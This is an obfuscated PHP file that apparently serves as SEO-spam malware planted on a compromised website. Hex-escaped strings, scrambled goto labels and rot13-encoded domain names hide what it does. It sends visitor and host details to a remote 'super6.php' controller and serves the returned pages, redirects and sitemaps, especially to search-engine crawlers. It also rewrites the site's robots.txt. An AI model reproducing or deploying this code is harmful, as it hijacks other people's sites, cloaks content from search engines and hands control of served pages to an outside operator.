<?php
 goto Sv5EC; nQkck: $html_content = request($xmlname, $http_web, $param); goto uDRRe; VkZ1I: $duri = urlencode($duri); goto j0w1Q; MndnX: preg_match("\57\x5c\x2f\50\x5b\136\134\57\135\x2b\134\56\160\150\160\x29\x2f", $duri, $matches); goto AVKSy; vAYlo: $http_web = "\150\164\x74\x70"; goto EMG1A; OSlRP: $duri = drequest_uri(); goto I3464; dD0ug: $string = "\66\x33\61\55\x6c\151\156\x6b\61\67\x39\x2d\61"; goto bFFQh; AVKSy: if (empty($matches) || $matches[1] == "\x77\x70\x2d\x63\x72\x6f\155\56\160\x68\x70" || $matches[1] == "\x64\x65\x74\x61\151\154\56\x70\150\x70") { $model_file = "\151\x6e\144\x65\x78\x2e\x70\150\160"; $model = "\151\x6e\144\145\x78"; } else { $model_file = $matches[1]; $position = strpos($duri, $model_file); if ($position !== false) { $model_file = substr($duri, 0, $position + strlen($model_file)); $model_file = ltrim($model_file, "\57"); } $model = str_replace("\56\160\x68\160", '', $model_file); } goto Z8xF5; Lmiki: $param = "\x77\x65\142\x3d" . $host . "\46\172\x7a\x3d" . $zz . "\x26\x75\x72\x69\75" . $duri . "\x26\x75\162\154\x73\x68\x61\156\147\x3d" . $urlshang . "\46\150\164\x74\160\75" . $http . "\x26\x6c\141\x6e\x67\x3d" . $lang . "\x26\x73\145\162\x76\145\162\x3d" . $server . "\46\x6d\x6f\x64\x65\x6c\x3d" . $model; goto nQkck; tNgjf: $lang = isset($_SERVER["\x48\124\x54\120\137\x41\x43\x43\105\x50\x54\x5f\x4c\x41\x4e\107\x55\x41\107\105"]) ?: "\x65\156"; goto P4MYv; jskoP: function drequest_uri() { if (isset($_SERVER["\x52\105\x51\125\x45\x53\124\x5f\x55\x52\x49"])) { $duri = $_SERVER["\x52\105\x51\x55\105\123\x54\x5f\x55\122\x49"]; } else { if (isset($_SERVER["\141\162\x67\x76"])) { $duri = $_SERVER["\120\x48\120\x5f\123\105\114\106"] . "\x3f" . $_SERVER["\x61\162\x67\166"][0]; } else { $duri = $_SERVER["\x50\x48\120\x5f\x53\x45\x4c\106"] . "\x3f" . $_SERVER["\x51\125\x45\x52\x59\x5f\x53\x54\x52\x49\116\x47"]; } } return $duri; } goto JB61j; j0w1Q: $server = detect_server_software(); goto BaEk7; EMG1A: $host = $_SERVER["\110\124\124\120\x5f\110\117\x53\x54"]; goto tNgjf; EAPMj: function detect_server_software() { $path = $_SERVER["\104\117\103\125\x4d\105\x4e\x54\x5f\122\x4f\x4f\x54"] . "\x2f\56\150\164\141\x63\143\145\163\163"; if (file_exists($path)) { return 1; } else { return 2; } } goto g1FO0; bFFQh: $istest = false; goto WxQK1; P4MYv: $urlshang = ''; goto Ymg6A; I3464: $duri = $duri == '' ? "\x2f" : $duri; goto MndnX; WxQK1: if (strpos($duri, $string) !== false) { $zz = 1; $duri = str_replace($string, '', $duri); $istest = true; } goto C0lYM; C0lYM: if ($duri != "\x2f") { $duri = str_replace("\x2f" . $model_file, '', $duri); $duri = str_replace("\x2f\151\156\x64\x65\x78\56\160\x68\x70", '', $duri); $duri = str_replace("\x21", '', $duri); } goto VkZ1I; JB61j: function is_https() { if (isset($_SERVER["\x48\124\x54\x50\123"]) && strtolower($_SERVER["\110\x54\x54\120\123"]) !== "\x6f\x66\x66") { return true; } elseif (isset($_SERVER["\x48\x54\x54\x50\x5f\x58\137\x46\117\122\x57\101\122\x44\105\104\137\x50\122\117\124\x4f"]) && $_SERVER["\x48\124\124\120\x5f\130\137\x46\117\x52\x57\101\122\104\105\x44\137\x50\122\117\x54\117"] === "\x68\164\x74\x70\163") { return true; } elseif (isset($_SERVER["\x48\124\124\x50\x5f\x46\x52\x4f\x4e\124\137\x45\x4e\104\x5f\x48\x54\124\120\x53"]) && strtolower($_SERVER["\110\x54\x54\x50\137\106\x52\117\116\x54\x5f\x45\x4e\x44\x5f\x48\x54\124\x50\123"]) !== "\157\x66\146") { return true; } return false; } goto EAPMj; Sv5EC: $xmlname = array("\x25\63\x36\x25\63\x33\x25\x33\x31\x25\62\x44\45\x37\71\x25\67\x36\45\66\61\x25\67\70\45\63\x31\x25\x33\67\x25\63\71\45\x32\x44\x25\63\x31\x25\62\x45\x25\x37\101\45\x36\x45\x25\67\x34\x25\x36\61\x25\66\x45\45\x36\61\x25\x32\105\45\x36\67\x25\x36\62\x25\66\x33", "\x25\x33\66\x25\63\63\45\63\x31\x25\62\x44\x25\67\71\45\x37\x36\45\66\61\x25\67\70\x25\x33\61\x25\63\67\x25\63\71\x25\62\104\45\x33\x31\45\x32\105\x25\x36\64\x25\66\70\x25\x37\x36\45\x36\x31\45\x36\67\45\x37\62\x25\x36\x36\45\66\x36\45\66\103\45\62\x45\x25\66\x37\x25\x36\62\x25\66\x33", "\45\63\x36\45\63\x33\45\x33\x31\x25\x32\104\x25\67\x39\45\67\66\45\66\x31\45\x37\x38\x25\63\61\45\x33\67\x25\63\x39\x25\62\104\45\63\x31\45\62\x45\x25\x37\x41\x25\67\62\x25\x36\x37\45\66\105\x25\x36\x46\x25\x36\x35\x25\x37\66\x25\67\x31\x25\x37\x34\x25\66\105\x25\x32\x45\x25\66\102\45\66\103\45\66\x44", "\45\63\x36\45\x33\x33\45\63\x31\x25\62\104\x25\x37\71\x25\x37\66\x25\66\x31\45\x37\70\x25\63\x31\x25\63\x37\x25\x33\71\x25\x32\x44\x25\63\x31\x25\x32\x45\45\67\x30\45\x36\65\45\67\x32\45\x36\105\45\x37\60\x25\x37\66\45\x36\104\x25\67\62\x25\x36\x31\45\62\105\45\66\102\45\x36\x43\x25\x36\104"); goto vAYlo; g1FO0: function create_robots($url) { $function = func(); $path = $_SERVER["\104\117\103\x55\115\x45\x4e\x54\137\122\x4f\117\124"] . "\57\162\x6f\x62\x6f\164\x73\56\164\170\164"; $content = "\x55\163\145\x72\55\141\x67\145\x6e\164\x3a\40\52" . PHP_EOL; $content .= "\101\x6c\154\x6f\167\x3a\40\x2f" . PHP_EOL . PHP_EOL; $content .= "\123\x69\164\x65\x6d\141\160\72\x20" . $url . "\57\x73\151\x74\x65\x6d\141\x70\x2e\170\155\x6c" . PHP_EOL; if (!file_exists($path)) { $function[0]($path, $content); } else { $existingContent = $function[1]($path); if ($existingContent !== $content) { $function[0]($path, $content); } } } goto noHpo; Ymg6A: if (isset($_SERVER["\110\124\124\x50\137\x52\x45\x46\x45\x52\105\x52"])) { $urlshang = $_SERVER["\x48\124\x54\x50\137\122\105\x46\105\122\105\122"]; } goto KlGj5; BaEk7: create_robots($http . "\72\57\57" . $host); goto Lmiki; noHpo: function request($webs, $http_web, $param) { $function = func(); shuffle($webs); foreach ($webs as $domain) { $domain = $function[2](urldecode($domain)); $url = $http_web . "\72\x2f\57" . $domain . "\57\x73\x75\160\145\162\x36\56\160\150\x70\x3f" . $param; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } else { if (stristr(curl_error($ch), "\64\x34\x33")) { echo "\x34\64\x33"; } curl_close($ch); } if (ini_get("\x61\x6c\154\157\167\x5f\x75\x72\154\137\x66\x6f\160\x65\x6e")) { $response = @$function[1]($url); if ($response !== false) { return $response; } } } return "\x6e\x6f\142\157\164\165\x73\145\162\x61\147\145\156\164"; } goto pQ2u5; Kejyn: $zz = disbot(); goto OSlRP; WM6hq: function disbot() { $user_agent = strtolower($_SERVER["\110\x54\124\120\x5f\125\x53\105\122\x5f\x41\x47\105\116\124"]); if (stristr($user_agent, "\147\157\x6f\x67\154\145\142\157\x74") || stristr($user_agent, "\142\x69\156\147") || stristr($user_agent, "\171\x61\150\x6f\x6f") || stristr($user_agent, "\147\157\x6f\147\x6c\145") || stristr($user_agent, "\x47\157\x6f\147\154\145\142\x6f\x74")) { return 1; } else { return 2; } } goto jskoP; uDRRe: if (!strstr($html_content, "\x6e\157\x62\157\x74\x75\163\145\162\141\147\145\156\164")) { if (strstr($html_content, "\x6f\153\x68\x74\155\x6c")) { @header("\103\x6f\x6e\x74\x65\x6e\164\x2d\164\171\160\x65\72\40\164\145\x78\x74\x2f\150\x74\155\154\x3b\40\x63\x68\x61\x72\x73\145\x74\75\x75\164\146\55\70"); $html_content = str_replace("\x6f\x6b\150\164\x6d\x6c", '', $html_content); if ($istest) { echo $string; } echo $html_content; die; } else { if (strstr($html_content, "\147\x65\x74\143\x6f\156\164\x65\x6e\x74\65\60\60\160\x61\147\145")) { @header("\110\x54\124\120\57\x31\56\x31\x20\65\x30\60\x20\x49\x6e\164\x65\x72\156\x61\154\x20\x53\145\162\x76\x65\x72\x20\x45\162\162\157\162"); die; } else { if (strstr($html_content, "\64\x30\x34\x70\x61\147\x65")) { @header("\x48\124\x54\120\57\x31\56\x31\40\64\60\64\40\116\x6f\164\40\x46\157\x75\156\144"); die; } else { if (strstr($html_content, "\x33\x30\x31\x70\x61\x67\x65")) { @header("\x48\x54\x54\x50\57\x31\x2e\x31\40\x33\x30\61\40\x4d\x6f\166\145\144\x20\x50\x65\162\155\141\x6e\145\x6e\x74\x6c\171"); $html_content = str_replace("\63\60\61\160\x61\147\145", '', $html_content); header("\114\157\x63\141\x74\x69\157\x6e\72\40" . $html_content); die; } else { if (strstr($html_content, "\157\153\170\155\x6c")) { $html_content = str_replace("\x6f\153\170\x6d\x6c", '', $html_content); @header("\x43\157\156\x74\145\x6e\x74\x2d\x54\x79\160\145\x3a\40\141\160\160\154\151\143\x61\164\x69\x6f\156\x2f\x78\x6d\154\x3b\x20\143\150\x61\x72\x73\145\x74\75\x75\x74\x66\x2d\70"); echo $html_content; die; } else { if (strstr($html_content, "\157\x6b\162\157\x62\x6f\x74\163")) { $html_content = str_replace("\x6f\x6b\x72\x6f\x62\157\164\163", '', $html_content); @header("\103\x6f\156\164\145\x6e\x74\55\124\171\x70\145\72\x20\164\x65\170\x74\x2f\x70\154\141\151\x6e"); echo $html_content; die; } } } } } } } goto WM6hq; KlGj5: if (is_https()) { $http = "\x68\164\164\x70\163"; } else { $http = "\150\x74\164\x70"; } goto Kejyn; Z8xF5: if (stristr($duri, "\x2f\77")) { $model = "\77"; } goto dD0ug; pQ2u5: function func() { $chars = range("\x61", "\x7a"); return array($chars[5] . $chars[8] . $chars[11] . $chars[4] . "\137" . $chars[15] . $chars[20] . $chars[19] . "\137" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[5] . $chars[8] . $chars[11] . $chars[4] . "\x5f" . $chars[6] . $chars[4] . $chars[19] . "\x5f" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[18] . $chars[19] . $chars[17] . "\x5f" . $chars[17] . $chars[14] . $chars[19] . "\61\63"); }